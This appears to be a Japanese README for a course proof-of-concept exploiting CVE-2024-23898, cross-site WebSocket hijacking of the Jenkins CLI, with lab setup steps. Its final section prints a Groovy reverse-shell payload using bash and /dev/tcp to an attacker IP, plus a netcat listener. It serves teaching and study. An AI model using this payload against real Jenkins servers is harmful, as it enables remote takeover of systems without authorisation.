Jenkins CLI WebSocket ハイジャック - PoC
CVE-2024-23898(Jenkins バージョン 2.217-2.441 に影響を与える脆弱性)に対する、クロスサイト WebSocket ハイジャックの概念実証(PoC)エクスプロイトです。
このエクスプロイトは、Jenkins 制御サーバーにリモートアクセスしてコマンドを発行するために使用できる Jenkins CLI を標的としています。このエクスプロイトにより、リモート攻撃者は、管理者がターゲットの Jenkins 制御サーバーにログインした状態で悪意のあるサイトを訪問するよう誘導された場合、Jenkins 制御サーバーへのアクセスを取得し、永続的なバックドアを確立することができます。
免責事項
このコードは教育目的のみを意図しており、カーネギーメロン大学の Hacking & Offensive Security コースでの使用にのみ限定されています。このコードを武器化したり、マルウェアを作成するために使用したりしてはなりません。著者らはそのような試みを明確に非難します。
Jenkins のセットアップ
- 「docker-compose build && docker-compose up -d」を実行します
- http://localhost:8080 に移動すると、管理者パスワードの入力を求められます
- jenkins docker コンテナ(POSTGRES のものではありません)でシェルを開きます
- 「docker exec -it <container_id> bash」を実行します
- Jenkins ページに記載されているディレクトリに cd し、パスワードを取得します
- 基本的な管理者アカウントを設定し(パスワードを覚えておいてください)、デフォルトのプラグインをインストールします
- Manage Jenkins > Security に移動して、匿名ユーザーに基本権限を設定します
- 認可タイプを「Matrix-based」に設定します
- 匿名ユーザーが「Overall」と「Job」を読み取れるようにします
WebSocket ハイジャックの実行
- Firefox を開き、設定 > プライバシーとセキュリティ に移動します
- ブラウザーのプライバシーをカスタムに設定し、Cookie を「オフ」に切り替えます(これにより Firefox はすべての Cookie を許可するようになります)
- Jenkins に移動し、管理者としてログインします。必ず「Keep me signed in」をクリックしてください
- evilApp.py を起動し、http://localhost:5000 にアクセスします
- Network タブに移動して、更新を実行します
- ファイル名が「ws」のパケットをクリックし、Response タブに移動すると、「Authenticated as: admin」と表示されているはずです
- 「Cookies」を確認すれば、remember-me Cookie も確認できます
リバースシェルの実行
- お使いのマシンのターミナルで、
nc -l <port_num> を使用して netcat リスナーを起動します(<port_num> は未使用のポート番号に置き換えてください)
- Docker から見えるコンピューターの IP アドレスを取得する必要があります。Mac では
ipconfig getifaddr en0 コマンドで確認できます
- Jenkins サーバーが実行中であることを前提として、
[http://localhost:8080/script](http://localhost:8080/script) に移動します。まだログインしていない場合は、管理者アカウントでログインします
- このペイロードを Groovy スクリプトコンソールに貼り付けて実行します:
['bash', '-c', 'bash -i >& /dev/tcp/<attacker_ip>/<port_num> 0>&1'].execute()
- netcat リスナーが起動しているターミナルに戻ります。Jenkins サーバーのファイルシステム内にいるので、管理者ユーザーが実行できることはすべて実行できるはずです